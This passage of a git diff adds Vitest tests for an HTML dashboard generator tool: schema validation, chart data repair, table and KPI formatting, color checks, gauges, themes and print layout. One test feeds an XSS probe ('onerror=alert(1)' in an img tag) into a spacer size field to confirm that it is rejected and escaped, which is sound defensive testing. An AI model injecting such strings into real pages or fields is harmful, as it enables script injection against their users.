[3] }] }],+ },+ },+ /data-spark="\[1,null,3\]".*"max":"10"/s,+ ],+ [+ 'a custom KPI block with a numeric delta',+ custom([{ type: 'kpis', items: [{ label: 'Cost', value: 1, delta: 5 }] }]),+ /data-sentiment="good">\+5</,+ ],+ [+ 'a numeric footer date and numbers in section content',+ {+ filename: 'd.html',+ data: {+ title: 'T',+ meta: { date: 2026 },+ sections: [{ type: 'bullets', content: ['Units', 1200] }],+ },+ },+ /<li>1200<\/li>.*<span>2026<\/span>/s,+ ],+ [+ 'status and severity words outside the listed ones, and an incident with no time',+ {+ filename: 'd.html',+ template: 'operations-pulse',+ data: {+ title: 'T',+ services: [{ name: 'API', status: 'operational' }],+ incidents: [{ title: 'x', severity: 'P1' }],+ },+ },+ /data-status="healthy".*severity-high">P1</s,+ ],+]++describe('dashboard schema accepts what the renderer handles', () => {+ it.each(HANDLED)('%s, on the workflow path', async (_label, args, rendered) => {+ expect(page(await viaWorkflow(args))).toMatch(rendered)+ })++ it.each(HANDLED)('%s, on the chat path', async (_label, args, rendered) => {+ expect(page(await viaChat(args))).toMatch(rendered)+ })+})++describe('dashboard schema rejects what cannot render, with the field to fix', () => {+ it('names an unknown chart type inside a block spec', async () => {+ const r = await viaWorkflow(+ custom([{ type: 'chart', spec: { type: 'gauge2', datasets: [{ data: [1] }] } }])+ )+ expect(r.success).toBe(false)+ expect(r.error).toContain('data/blocks/0/spec/type must be equal to one of the allowed values')+ })++ it('refuses a spacer size outside its enum, and draws a safe one without validation', async () => {+ const args = custom([{ type: 'spacer', size: 'md"><img src=x onerror=alert(1)>' }])+ const refused = await viaWorkflow(args)+ expect(refused.success).toBe(false)+ expect(refused.error).toContain('data/blocks/0/size must be equal to one of the allowed values')+ const html = page(await viaChat(args))+ expect(html).toContain('dashboard-spacer--md')+ expect(html).not.toContain('<img src=x')+ })++ it('asks for the status a service card needs', async () => {+ const r = await viaWorkflow({+ filename: 'd.html',+ template: 'operations-pulse',+ data: { title: 'T', services: [{ name: 'API' }] },+ })+ expect(r.error).toContain("data/services/0 must have required property 'status'")+ })+})++describe('dashboard schema size', () => {+ it('stays compact, since every model request carries it', () => {+ expect(JSON.stringify(dashboardTool().parameters).length).toBeLessThan(13_250)+ })++ it('points repeated shapes at the field that documents them', () => {+ const data = (dashboardTool().parameters as SchemaNode).properties!.data+ const spec = data.properties!.blocks.items!.properties!.spec+ expect(spec.properties!.type.description).toBe('As data.charts[].')+ expect(data.properties!.heroChart.properties!.datasets.description).toBe('As data.charts[].')+ })++ it('gives block specs and items the same contract as the fields they repeat', () => {+ const data = (dashboardTool().parameters as SchemaNode).properties!.data+ const block = data.properties!.blocks.items!+ const itemObject = block.properties!.items.items!.anyOf![1]+ const chartType = data.properties!.charts.items!.properties!.type+ expect(block.properties!.spec.properties!.type.enum).toEqual(chartType.enum)+ expect(itemObject.properties!.type.enum).toEqual(chartType.enum)+ expect(data.properties!.heroChart.properties!.type.enum).toEqual(chartType.enum)+ expect(block.properties!.services.items!.properties!.status.enum).toEqual(+ data.properties!.services.items!.properties!.status.enum+ )+ const kpi = data.properties!.kpis.items!.properties!+ for (const field of ['deltaDirection', 'deltaSentiment', 'accent']) {+ expect(itemObject.properties![field].enum).toEqual(kpi[field].enum)+ }+ expect(itemObject.properties!.severity.enum).toEqual(+ data.properties!.incidents.items!.properties!.severity.enum+ )+ })++ it('keeps the copied fields whose absence would misstate a value', () => {+ const data = (dashboardTool().parameters as SchemaNode).properties!.data+ const block = data.properties!.blocks.items!+ const itemObject = block.properties!.items.items!.anyOf![1]+ expect(itemObject.properties!.delta.type).toEqual(['string', 'number'])+ expect(itemObject.properties!.resolvedAt.type).toBe('string')+ for (const copy of [data.properties!.heroChart, block.properties!.spec, itemObject]) {+ expect(copy.properties!.gaugeMax.type).toEqual(['number', 'string'])+ }+ })+})++describe('dashboard schema survives Gemini', () => {+ it('gives every object node properties', () => {+ // The Gemini API rejects an OBJECT schema with no properties+ // ("properties: should be non-empty for OBJECT type").+ const empty: string[] = []+ const visit = (node: unknown, where: string): void => {+ if (!node || typeof node !== 'object' || Array.isArray(node)) return+ const n = node as Record<string, unknown>+ const types = Array.isArray(n.type) ? n.type : [n.type]+ const props = n.properties as Record<string, unknown> | undefined+ if (types.includes('object') && (!props || Object.keys(props).length === 0)) empty.push(where)+ for (const [k, v] of Object.entries(props ?? {})) visit(v, `${where}.${k}`)+ if (n.items) visit(n.items, `${where}[]`)+ if (Array.isArray(n.anyOf)) n.anyOf.forEach((b, i) => visit(b, `${where}|${i}`))+ }+ visit(dashboardTool().parameters, '')+ expect(empty).toEqual([])+ })+})diff --git a/mcp-host/src/workflow/__tests__/internalTools.dashboard.data.test.ts b/mcp-host/src/workflow/__tests__/internalTools.dashboard.data.test.tsnew file mode 100644index 000000000..40342d181--- /dev/null+++ b/mcp-host/src/workflow/__tests__/internalTools.dashboard.data.test.ts@@ -0,0 +1,88 @@+/**+ * The dashboard repairs chart series the same way as the PNG generator.+ */+import { afterEach, beforeEach, describe, expect, it } from 'vitest'+import * as fs from 'fs'+import * as os from 'os'+import * as path from 'path'+import { INTERNAL_TOOLS } from '../internalTools'+import type { InternalToolDefinition } from '../types'++function findTool(name: string): InternalToolDefinition {+ const tool = INTERNAL_TOOLS.find(t => t.name === name)+ if (!tool) throw new Error(`tool ${name} not registered`)+ return tool+}++let outputDir: string++beforeEach(() => {+ outputDir = fs.mkdtempSync(path.join(os.tmpdir(), 'clerum-dash-'))+})++afterEach(() => {+ fs.rmSync(outputDir, { recursive: true, force: true })+})++async function build(charts: unknown[]): Promise<string> {+ const r = await findTool('clerum__generate_dashboard').execute(+ { filename: 'd.html', data: { title: 'Review', charts } },+ outputDir+ )+ expect(r.success).toBe(true)+ return fs.readFileSync(path.join(outputDir, 'd.html'), 'utf8')+}++describe('dashboard chart data', () => {+ it('reads values written as text, as the PNG generator does', async () => {+ const html = await build([+ {+ type: 'bar',+ title: 'Text values',+ labels: ['A', 'B'],+ datasets: [{ label: 'x', data: ['1,200', '$3,400'] }],+ },+ ])+ expect(html).toContain('1200')+ expect(html).toContain('3400')+ })++ it('adopts labels out of {label, value} records', async () => {+ const html = await build([+ {+ type: 'bar',+ title: 'Records',+ datasets: [{ label: 'Spend', data: [{ label: 'Compute', value: 268 }] }],+ },+ ])+ expect(html).toContain('Compute')+ expect(html).toContain('268')+ })++ it('fails, naming the field, when the only chart is unusable', async () => {+ const r = await findTool('clerum__generate_dashboard').execute(+ {+ filename: 'd.html',+ data: {+ title: 'Review',+ charts: [{ type: 'bar', labels: ['A'], datasets: [{ label: 'x', data: [] }] }],+ },+ },+ outputDir+ )+ expect(r.success).toBe(false)+ expect(r.error).toContain('data.charts[0].datasets[0].data is empty')+ expect(fs.existsSync(path.join(outputDir, 'd.html'))).toBe(false)+ })++ it('keeps the rest of the dashboard when one chart is unusable', async () => {+ const html = await build([+ { type: 'bar', title: 'Broken', labels: ['A'], datasets: [{ label: 'x', data: [] }] },+ { type: 'bar', title: 'Fine', labels: ['A', 'B'], datasets: [{ label: 'x', data: [4, 7] }] },+ ])+ expect(html).toContain('Fine')+ expect(html).toContain('This chart could not be drawn')+ expect(html).toMatch(/needs at least one value/)+ expect(html).toMatch(/\[\s*4\s*,\s*7\s*\]/)+ })+})diff --git a/mcp-host/src/workflow/__tests__/internalTools.dashboard.fidelity.test.ts b/mcp-host/src/workflow/__tests__/internalTools.dashboard.fidelity.test.tsnew file mode 100644index 000000000..73deb4423--- /dev/null+++ b/mcp-host/src/workflow/__tests__/internalTools.dashboard.fidelity.test.ts@@ -0,0 +1,539 @@+/**+ * Everything the caller passed reaches the page as written, or the agent is+ * told what was changed or left out: list blocks, table cells, KPI figures,+ * footer provenance, series colors and gauge readings.+ */+import { afterEach, beforeEach, describe, expect, it } from 'vitest'+import * as fs from 'fs'+import * as os from 'os'+import * as path from 'path'+import { INTERNAL_TOOLS } from '../internalTools'+import type { InternalToolResult } from '../types'++let outputDir: string++beforeEach(() => {+ outputDir = fs.mkdtempSync(path.join(os.tmpdir(), 'clerum-dash-fidelity-'))+})++afterEach(() => {+ fs.rmSync(outputDir, { recursive: true, force: true })+})++function run(args: Record<string, unknown>): Promise<InternalToolResult> {+ const tool = INTERNAL_TOOLS.find(t => t.name === 'clerum__generate_dashboard')!+ return tool.execute({ filename: 'd.html', ...args }, outputDir)+}++async function render(args: Record<string, unknown>): Promise<{ html: string; notes: string }> {+ const r = await run(args)+ expect(r.error).toBeUndefined()+ expect(r.success).toBe(true)+ return { html: fs.readFileSync(r.artifact!.path, 'utf8'), notes: r.content ?? '' }+}++const blocks = (list: unknown[]) => ({ template: 'custom', data: { title: 'T', blocks: list } })++function chartSpecs(html: string): Array<Record<string, unknown>> {+ const m = /var charts = (\[.*?\]);\n/s.exec(html)+ return m ? JSON.parse(m[1]) : []+}++const narrative = { type: 'narrative', content: 'Kept' }++describe('custom list blocks', () => {+ it.each([+ ['kpis', { kpis: [{ label: 'Revenue', value: 1 }] }, 'kpis', /kpi-card__value">1</],+ [+ 'charts-grid',+ { charts: [{ type: 'bar', title: 'Grid', labels: ['a'], datasets: [{ data: [1] }] }] },+ 'charts',+ /Grid<\/h3>/,+ ],+ ['incidents', { incidents: [{ time: '1', title: 'DB down' }] }, 'incidents', /DB down<\/h4>/],+ [+ 'service-health',+ { items: [{ name: 'API', status: 'healthy' }] },+ 'items',+ /health-card__name">API</,+ ],+ ])(+ 'reads a %s block list sent under %j and says which field to use',+ async (type, list, alias, shown) => {+ const { html, notes } = await render(blocks([narrative, { type, ...list }]))+ expect(html).toMatch(shown)+ const field = type === 'service-health' ? 'services' : 'items'+ expect(notes).toContain(`data.blocks[1]: the list was read from ${alias}; name it ${field}.`)+ }+ )++ it.each([+ ['kpis', 'items', 'cards'],+ ['charts-grid', 'items', 'charts'],+ ['incidents', 'items', 'incidents'],+ ['service-health', 'services', 'services'],+ ])('reports a %s block with no list instead of dropping it', async (type, field, noun) => {+ for (const block of [{ type }, { type, [field]: [] }]) {+ const { html, notes } = await render(blocks([narrative, block]))+ const message = `data.blocks[1].${field} is missing or empty; a '${type}' block lists its ${noun} in ${field}`+ expect(notes).toContain(message)+ expect(html).toContain(message.replace(/'/g, '''))+ expect(html).toContain('Kept')+ }+ })++ it('fails without a file when the only block is an empty list', async () => {+ const r = await run(blocks([{ type: 'kpis', items: [] }]))+ expect(r.success).toBe(false)+ expect(r.error).toContain("data.blocks[0].items is missing or empty; a 'kpis' block")+ expect(fs.readdirSync(outputDir)).toEqual([])+ })+})++describe('tables', () => {+ it('pads short rows, trims long ones and says what was left out', async () => {+ const { html, notes } = await render({+ data: {+ title: 'T',+ tables: [+ {+ headers: ['A', 'B', 'C'],+ rows: [['1'], ['1', '2', '3', '4', '5'], ['x', 'y', 'z', '', null]],+ },+ ],+ },+ })+ const rows = [...html.matchAll(/<tr>(<td>.*?)<\/tr>/g)].map(m => m[1].match(/<td>/g)!.length)+ expect(rows).toEqual([3, 3, 3])+ expect(html).not.toContain('<td>4</td>')+ expect(notes).toContain(+ 'data.tables[0].rows[1] has 5 cells for 3 headers; the extra 2 were left out. Add headers for them or drop them.'+ )+ expect(notes).toContain(+ 'data.tables[0]: 1 row(s) have fewer cells than the 3 headers and end in empty cells.'+ )+ expect(notes).not.toContain('rows[2]')+ })++ it('lets a wide table scroll on screen and fit the page in print', async () => {+ const { html } = await render({ data: { title: 'T', kpis: [{ label: 'x', value: 1 }] } })+ expect(html).toMatch(/\.data-table-wrap \{[^}]*overflow-x: auto/)+ expect(html).not.toMatch(/\.data-table-wrap \{[^}]*overflow: hidden/)+ const printBlock = /@media print \{([\s\S]*?)\n\}/.exec(html)![1]+ expect(printBlock).toMatch(+ /\.data-table--wide thead th, \.data-table--wide tbody td \{[^}]*overflow-wrap: anywhere/+ )+ })++ it('marks a table as wide above 8 columns', async () => {+ const headers = (n: number) => Array.from({ length: n }, (_, i) => `H${i}`)+ const { html } = await render({+ data: {+ title: 'T',+ tables: [+ { headers: headers(8), rows: [headers(8)] },+ { headers: headers(9), rows: [headers(9)] },+ ],+ },+ })+ expect([...html.matchAll(/<table class="([^"]+)">/g)].map(m => m[1])).toEqual([+ 'data-table',+ 'data-table data-table--wide',+ ])+ })++ it('lets a long URL or ID wrap inside its cell and keeps ordinary words whole', async () => {+ const url = 'https://example.com/a/very/long/path?with=query&and=more'+ const { html } = await render({+ data: {+ title: 'T',+ tables: [+ {+ headers: ['Link', 'Notes'],+ rows: [+ [url, 'Renewal negotiations continue'],+ ['**bold**', 'x'],+ ],+ },+ ],+ },+ })+ const cell = /<td>(https:.*?)<\/td>/.exec(html)![1]+ expect(cell).toContain('<wbr>')+ expect(cell.replace(/<wbr>/g, '')).toBe(+ 'https://example.com/a/very/long/path?with=query&and=more'+ )+ expect(html).toContain('<td>Renewal negotiations continue</td>')+ expect(html).toContain('<td><strong>bold</strong></td>')+ })+})++describe('KPI figures', () => {+ it.each([+ [0.1 + 0.2, '0.3'],+ [0.4523809523809524, '0.4524'],+ [123456789012, '123,456,789,012'],+ [1234567.891, '1,234,567.89'],+ [-42, '-42'],+ [0, '0'],+ ])('prints the number %s as %s', async (value, shown) => {+ const { html } = await render({ data: { title: 'T', kpis: [{ label: 'k', value }] } })+ expect(html).toContain(`<p class="kpi-card__value">${shown}</p>`)+ })++ it('signs a numeric delta and points its arrow the same way', async () => {+ const { html } = await render({+ data: {+ title: 'T',+ kpis: [+ { label: 'Churn', value: 2.1, delta: -0.3 },+ { label: 'NPS', value: 48, delta: 5 },+ { label: 'Flat', value: 1, delta: 0 },+ { label: 'Given', value: 1, delta: 5, deltaDirection: 'neutral' },+ ],+ },+ })+ expect(html).toContain('data-direction="down" data-sentiment="bad">-0.3</p>')+ expect(html).toContain('data-direction="up" data-sentiment="good">+5</p>')+ expect(html).toContain('data-direction="neutral" data-sentiment="neutral">0</p>')+ expect(html).toContain('data-direction="neutral" data-sentiment="neutral">+5</p>')+ })++ it('prints a numeric service metric like a KPI', async () => {+ const { html } = await render({+ template: 'operations-pulse',+ data: {+ title: 'T',+ services: [{ name: 'API', status: 'healthy', metric: 1234.5678, delta: -2 }],+ },+ })+ expect(html).toContain('<p class="health-card__metric">1,234.57</p>')+ expect(html).toContain('data-direction="down" data-sentiment="bad">-2</p>')+ })+})++describe('long words', () => {+ it('wraps long words in the hero and cards instead of clipping them', async () => {+ const { html } = await render({ data: { title: 'T', kpis: [{ label: 'x', value: 1 }] } })+ const rule = /([^{}]+)\{[^}]*overflow-wrap: anywhere;[^}]*\}/g+ const selectors = [...html.matchAll(rule)].map(m => m[1]).join(',')+ for (const cls of [+ '.hero__title',+ '.hero__headline',+ '.kpi-card__label',+ '.kpi-card__value',+ '.kpi-card__delta',+ '.chart-card__title',+ ]) {+ expect(selectors).toContain(cls)+ }+ })+})++describe('service status and incident severity', () => {+ it('colors common status words and keeps the text the caller wrote', async () => {+ const { html, notes } = await render({+ template: 'operations-pulse',+ data: {+ title: 'T',+ services: [+ { name: 'A', status: 'operational' },+ { name: 'B', status: 'Outage' },+ { name: 'C', status: 'rebooting' },+ { name: 'D', status: 'Unknown' },+ ],+ },+ })+ expect(html).toMatch(/data-status="healthy">[\s\S]*?OPERATIONAL/)+ expect(html).toMatch(/data-status="down">[\s\S]*?OUTAGE/)+ expect(html).toMatch(/data-status="unknown">[\s\S]*?REBOOTING/)+ expect(notes).toContain(+ 'data.services[2].status "rebooting" is not healthy, degraded, down or maintenance, so the card is grey.'+ )+ expect(notes).not.toContain('data.services[3]')+ })++ it('shows the severity the caller wrote and colors the known ones', async () => {+ const { html, notes } = await render({+ template: 'operations-pulse',+ data: {+ title: 'T',+ incidents: [+ { time: '10:00', title: 'a', severity: 'medium' },+ { time: '10:05', title: 'b', severity: 'P1' },+ { title: 'no time', severity: 'sev9' },+ ],+ },+ })+ expect(html).toContain('<span class="severity-badge severity-med">MEDIUM</span>')+ expect(html).toContain('<span class="severity-badge severity-high">P1</span>')+ expect(html).toContain('<span class="severity-badge severity-info">SEV9</span>')+ expect(html).toContain('no time</h4>')+ expect(notes).toContain(+ 'data.incidents[2].severity "sev9" is not critical, high, medium, low or info, so it is shown in the info color.'+ )+ })+})++describe('footer provenance', () => {+ it('shows the author and run ID beside the date', async () => {+ const { html } = await render({+ branding: { footerText: 'Internal' },+ data: {+ title: 'Meta',+ meta: { date: '22 de septiembre de 2026', author: 'Ana García', runId: 'run-2026-09-22' },+ kpis: [{ label: 'x', value: 1 }],+ },+ })+ expect(html).toContain(+ '<span>Internal · Ana García · run-2026-09-22 · 22 de septiembre de 2026</span>'+ )+ })++ it('reads a numeric date as a timestamp and keeps a year as written', async () => {+ const stamp = Date.UTC(2026, 8, 22, 12)+ const epoch = await render({+ data: { title: 'M', meta: { date: stamp }, kpis: [{ label: 'x', value: 1 }] },+ })+ expect(epoch.html).toContain('<span>September 22, 2026</span>')+ const seconds = await render({+ data: { title: 'M', meta: { date: stamp / 1000 }, kpis: [{ label: 'x', value: 1 }] },+ })+ expect(seconds.html).toContain('<span>September 22, 2026</span>')+ const year = await render({+ data: { title: 'M', meta: { date: 2026 }, kpis: [{ label: 'x', value: 1 }] },+ })+ expect(year.html).toContain('<span>2026</span>')+ })+})++describe('series colors from the caller', () => {+ it('replaces a value that is not a color with the palette and says so', async () => {+ const { html, notes } = await render({+ data: {+ title: 'T',+ charts: [+ {+ type: 'pie',+ labels: ['a', 'b', 'c', 'd', 'e'],+ datasets: [+ {+ data: [1, 2, 3, 4, 5],+ backgroundColor: [+ '#ff0000',+ 'notacolor',+ 'url(x)',+ 'rgba(0, 0, 0, 0.5)',+ 'SteelBlue',+ ],+ borderColor: 'nope',+ },+ ],+ },+ ],+ },+ })+ const [pie] = chartSpecs(html)+ const ds = (pie.datasets as Array<Record<string, unknown>>)[0]+ expect(ds.backgroundColor).toEqual([+ '#ff0000',+ '$chart-1',+ '$chart-2',+ 'rgba(0, 0, 0, 0.5)',+ 'SteelBlue',+ ])+ expect(ds.borderColor).toBe('$surface')+ expect(notes).toContain(+ 'data.charts[0].datasets[0].backgroundColor[1] "notacolor" is not a CSS color, so the palette color was used. Pass hex such as "#2563eb", rgb(), hsl() or a color name.'+ )+ expect(notes).toContain(+ 'data.charts[0].datasets[0].backgroundColor[2] "url(x)" is not a CSS color'+ )+ expect(notes).toContain('data.charts[0].datasets[0].borderColor "nope" is not a CSS color')+ })++ it('reports many bad colors in a few lines and quickly', async () => {+ const n = 5_000+ const junk = `rgb(${'1,'.repeat(50_000)}`+ const started = Date.now()+ const { notes } = await render({+ data: {+ title: 'T',+ charts: [+ {+ type: 'pie',+ labels: Array.from({ length: n }, (_, i) => `L${i}`),+ datasets: [+ {+ data: Array.from({ length: n }, () => 1),+ backgroundColor: Array.from({ length: n }, () => junk),+ },+ ],+ },+ ],+ },+ })+ expect(Date.now() - started).toBeLessThan(30_000)+ expect(notes.match(/is not a CSS color/g)).toHaveLength(3)+ expect(notes).toContain(`data.charts[0]: ${n - 3} more colors are not CSS colors`)+ expect(notes).toContain(JSON.stringify(`${junk.slice(0, 40)}…`))+ }, 60_000)++ it('keeps the modern color functions a browser canvas paints', async () => {+ const colors = ['hsl(210deg 50% 40% / 0.8)', 'oklch(0.62 0.19 259.8)', 'hwb(120 10% 20%)']+ const { html, notes } = await render({+ data: {+ title: 'T',+ charts: [+ {+ type: 'pie',+ labels: ['a', 'b', 'c'],+ datasets: [{ data: [1, 2, 3], backgroundColor: colors }],+ },+ ],+ },+ })+ const [pie] = chartSpecs(html)+ expect((pie.datasets as Array<Record<string, unknown>>)[0].backgroundColor).toEqual(colors)+ expect(notes).not.toContain('CSS color')+ })+})++/** The color the page script paints for a token: the palette index wraps at 7. */+function painted(token: unknown): string {+ return String(token).replace(/^\$chart-(\d+)/, (_, n) => `$chart-${Number(n) % 7}`)+}++describe('many series', () => {+ it('gives every series past the palette its own shade and dash, and says so', async () => {+ const datasets = Array.from({ length: 10 }, (_, i) => ({ label: `S${i}`, data: [i, i + 1] }))+ const { html, notes } = await render({+ data: { title: 'T', charts: [{ type: 'line', labels: ['a', 'b'], datasets }] },+ })+ const [line] = chartSpecs(html)+ const styles = (line.datasets as Array<Record<string, unknown>>).map(ds =>+ JSON.stringify([painted(ds.borderColor), ds.borderDash ?? null])+ )+ expect(new Set(styles).size).toBe(10)+ expect(notes).toContain(+ 'data.charts[0] has 10 series and the palette 7 colors, so series 8-10 repeat them in fainter shades. Fewer series read better.'+ )+ })++ it('names the one series past the palette', async () => {+ const datasets = Array.from({ length: 8 }, (_, i) => ({ label: `S${i}`, data: [i, i + 1] }))+ const { notes } = await render({+ data: { title: 'T', charts: [{ type: 'bar', labels: ['a', 'b'], datasets }] },+ })+ expect(notes).toContain(+ 'data.charts[0] has 8 series and the palette 7 colors, so series 8 repeats one in a fainter shade.'+ )+ })++ it('gives slices past the palette a fainter shade', async () => {+ const labels = Array.from({ length: 9 }, (_, i) => `L${i}`)+ const { html } = await render({+ data: {+ title: 'T',+ charts: [{ type: 'pie', labels, datasets: [{ data: labels.map((_, i) => i + 1) }] }],+ },+ })+ const [pie] = chartSpecs(html)+ const colors = (pie.datasets as Array<Record<string, unknown>>)[0].backgroundColor as string[]+ expect(new Set(colors.map(painted)).size).toBe(9)+ })++ it('says nothing about the palette when the caller colored every slice', async () => {+ const labels = Array.from({ length: 9 }, (_, i) => `L${i}`)+ const backgroundColor = labels.map((_, i) => `#0000${String(i).padStart(2, '0')}`)+ const { notes } = await render({+ data: {+ title: 'T',+ charts: [+ { type: 'pie', labels, datasets: [{ data: labels.map(() => 1), backgroundColor }] },+ ],+ },+ })+ expect(notes).not.toContain('palette')+ })+})++describe('gauge', () => {+ it('reads out the actual value and its label while the dial stays within range', async () => {+ const { html, notes } = await render({+ data: {+ title: 'T',+ charts: [{ type: 'gauge', title: 'Load', labels: ['Uptime'], datasets: [{ data: [180] }] }],+ },+ })+ const [gauge] = chartSpecs(html)+ expect(gauge.gauge).toEqual({ value: '180', max: '100' })+ expect((gauge.datasets as Array<{ data: number[] }>)[0].data).toEqual([100, 0])+ expect(html).toContain('<p class="chart-card__caption">Uptime</p>')+ expect(notes).toContain(+ 'data.charts[0]: the gauge value 180 is outside 0..100, so the dial is drawn full and the readout shows 180.'+ )+ })++ it('asks no labels of a gauge', async () => {+ const { notes } = await render({+ data: { title: 'T', charts: [{ type: 'gauge', datasets: [{ data: [72] }] }] },+ })+ expect(notes).not.toContain('labels')+ })+})++describe('value tables without Chart.js', () => {+ it('keeps the radius of a bubble', async () => {+ const { html } = await render({+ inlineChartJs: false,+ data: {+ title: 'T',+ charts: [{ type: 'bubble', datasets: [{ label: 'b', data: [{ x: 1, y: 2, r: 9 }] }] }],+ },+ })+ expect(html).toContain('<td>(1, 2, 9)</td>')+ })+})++describe('section headings', () => {+ it('keeps a section heading with the content it titles', async () => {+ const { html } = await render({+ data: {+ title: 'T',+ charts: [{ type: 'bar', labels: ['a'], datasets: [{ data: [1] }] }],+ tables: [{ title: 'Open issues', headers: ['A'], rows: [['1']] }],+ },+ })+ expect(html).toMatch(+ /<section class="section"><h2 class="section__title">Visual Trends<\/h2><section class="chart-grid">[\s\S]*?<\/section><\/section>/+ )+ expect(html).toMatch(+ /<section class="section"><h2 class="section__title">Open issues<\/h2>\s*<div class="data-table-wrap">[\s\S]*?<\/div><\/section>/+ )+ const printBlock = /@media print \{([\s\S]*?)\n\}/.exec(html)![1]+ expect(printBlock).toMatch(/\.section__title \{[^}]*break-after: avoid/)+ })+})++describe('defaultThemeMode', () => {+ it('follows a light viewer when the default is dark', async () => {+ const { html } = await render({+ defaultThemeMode: 'dark',+ data: { title: 'T', kpis: [{ label: 'x', value: 1 }] },+ })+ const light =+ /@media \(prefers-color-scheme: light\) \{\s*:root:not\(\[data-theme\]\) \{([\s\S]*?)\}/.exec(+ html+ )+ expect(light).not.toBeNull()+ expect(light![1]).toContain('--bg: #')+ expect(html).not.toContain('@media (prefers-color-scheme: dark)')+ })++ it('follows a dark viewer when the default is light', async () => {+ const { html } = await render({ data: { title: 'T', kpis: [{ label: 'x', value: 1 }] } })+ expect(html).toContain('@media (prefers-color-scheme: dark)')+ expect(html).not.toContain('@media (prefers-color-scheme: light)')+ })+})diff --git a/mcp-host/src/workflow/__tests__/internalTools.dashboard.page.test.ts b/mcp-host/src/workflow/__tests__/internalTools.dashboard.page.test.tsnew file mode 100644index 000000000..4b44338a8--- /dev/null+++ b/mcp-host/src/workflow/__tests__/internalTools.dashboard.page.test.ts@@ -0,0 +1,354 @@+/**+ * The page in the browser: each chart draws on its own, series stay legible in+ * light, dark and print, and charts are complete when printed.+ */+import { afterEach, beforeEach, describe, expect, it } from 'vitest'+import * as fs from 'fs'+import * as os from 'os'+import * as path from 'path'+import { DASHBOARD_THEMES } from '../dashboardThemes'+import { INTERNAL_TOOLS } from '../internalTools'++let outputDir: string++beforeEach(() => {+ outputDir = fs.mkdtempSync(path.join(os.tmpdir(), 'clerum-dash-page-'))+})++afterEach(() => {+ fs.rmSync(outputDir, { recursive: true, force: true })+})++async function page(args: Record<string, unknown>): Promise<string> {+ const tool = INTERNAL_TOOLS.find(t => t.name === 'clerum__generate_dashboard')!+ const r = await tool.execute({ filename: 'd.html', ...args }, outputDir)+ expect(r.success).toBe(true)+ return fs.readFileSync(r.artifact!.path, 'utf8')+}++function luminance(hex: string): number {+ const [r, g, b] = [1, 3, 5].map(i => {+ const c = parseInt(hex.slice(i, i + 2), 16) / 255+ return c <= 0.03928 ? c / 12.92 : ((c + 0.055) / 1.055) ** 2.4+ })+ return 0.2126 * r + 0.7152 * g + 0.0722 * b+}++function contrast(a: string, b: string): number {+ const [hi, lo] = [luminance(a), luminance(b)].sort((x, y) => y - x)+ return (hi + 0.05) / (lo + 0.05)+}++describe('series colors', () => {+ it('stand out from the card in every theme and mode (WCAG 1.4.11, 3:1)', () => {+ const weak: string[] = []+ for (const theme of Object.values(DASHBOARD_THEMES)) {+ for (const mode of ['light', 'dark'] as const) {+ const colors = theme[mode]+ for (const color of colors.chart) {+ const ratio = contrast(color, colors.surface)+ if (ratio < 3) weak.push(`${theme.name}/${mode} ${color} ${ratio.toFixed(2)}:1`)+ }+ }+ }+ expect(weak).toEqual([])+ })++ it('switch with the color scheme and print in the light set', async () => {+ const html = await page({+ data: { title: 'T', charts: [{ type: 'bar', labels: ['a'], datasets: [{ data: [1] }] }] },+ })+ const { light, dark } = DASHBOARD_THEMES.default+ const darkBlock = /@media \(prefers-color-scheme: dark\) \{([\s\S]*?)\n\}/.exec(html)![1]+ expect(darkBlock).toContain(`--chart-1: ${dark.chart[0]};`)+ const printBlock = /@media print \{([\s\S]*?)\n\}/.exec(html)![1]+ expect(printBlock).toContain(`--chart-1: ${light.chart[0]};`)+ expect(printBlock).toContain(`--text: ${light.text};`)+ })+})++interface LegendItem {+ text: string+ datasetIndex: number+}++interface ChartOptions {+ animation?: boolean+ plugins: { legend: { labels: { sort?: (a: LegendItem, b: LegendItem) => number } } }+ scales?: {+ r?: { ticks: unknown; grid: { color: string }; pointLabels: { color: string } }+ x?: { beginAtZero?: boolean; grace?: string }+ y?: { beginAtZero?: boolean; grace?: string }+ }+}++interface FakeChart {+ config: {+ type: string+ data: { datasets: Array<Record<string, unknown>> }+ options: ChartOptions+ }+ updates: number+}++/** Run the page script against a minimal DOM and a Chart stub. */+function runPageScript(+ html: string,+ opts: { failOn?: string; vars: Record<string, string> }+): {+ charts: Map<string, FakeChart>+ notes: string[]+ emitMediaChange: () => void+ setVars: (vars: Record<string, string>) => void+} {+ const scripts = [...html.matchAll(/<script>([\s\S]*?)<\/script>/g)].map(m => m[1])+ const pageScript = scripts[scripts.length - 1]+ let vars = opts.vars+ const charts = new Map<string, FakeChart>()+ const notes: string[] = []+ const listeners: Array<() => void> = []+ const canvas = (id: string) => ({+ id,+ getAttribute: () => '[1,3,2]',+ parentNode: {+ replaceWith: (note: { textContent: string }) => notes.push(note.textContent),+ remove: () => undefined,+ },+ })+ const sparkIds = [...html.matchAll(/id="(sparkline-\d+)"/g)].map(m => m[1])+ const document = {+ documentElement: {},+ getElementById: (id: string) => (html.includes(`id="${id}"`) ? canvas(id) : null),+ querySelectorAll: () => sparkIds.map(canvas),+ createElement: () => ({ className: '', textContent: '' }),+ }+ const window = {+ matchMedia: () => ({ addEventListener: (_: string, fn: () => void) => listeners.push(fn) }),+ addEventListener: () => undefined,+ }+ const getComputedStyle = () => ({ getPropertyValue: (name: string) => vars[name] ?? '' })+ function Chart(this: FakeChart, el: { id: string }, config: FakeChart['config']) {+ if (el.id === opts.failOn) throw new Error('"x" is not a registered controller.')+ this.config = config+ this.updates = 0+ Object.assign(this, {+ data: config.data,+ update: () => this.updates++,+ resize: () => undefined,+ })+ charts.set(el.id, this)+ }+ Chart.getChart = () => undefined+ new Function('document', 'window', 'getComputedStyle', 'Chart', pageScript)(+ document,+ window,+ getComputedStyle,+ Chart+ )+ return {+ charts,+ notes,+ emitMediaChange: () => listeners.forEach(fn => fn()),+ setVars: next => {+ vars = next+ },+ }+}++const LIGHT = {+ '--chart-1': '#0f172a',+ '--chart-2': '#16a34a',+ '--text-muted': '#475569',+ '--border': '#e2e8f0',+ '--accent': '#3b82f6',+}+const DARK = {+ '--surface': '#1e293b',+ '--chart-1': '#e2e8f0',+ '--chart-2': '#4ade80',+ '--text-muted': '#cbd5e1',+ '--border': '#334155',+ '--accent': '#60a5fa',+}++const TWO_CHARTS_AND_A_SPARKLINE = {+ data: {+ title: 'T',+ kpis: [{ label: 'k', value: 1, sparkline: [1, 3, 2] }],+ charts: [+ { type: 'bar', labels: ['a'], datasets: [{ label: 'first', data: [1] }] },+ {+ type: 'line',+ labels: ['a', 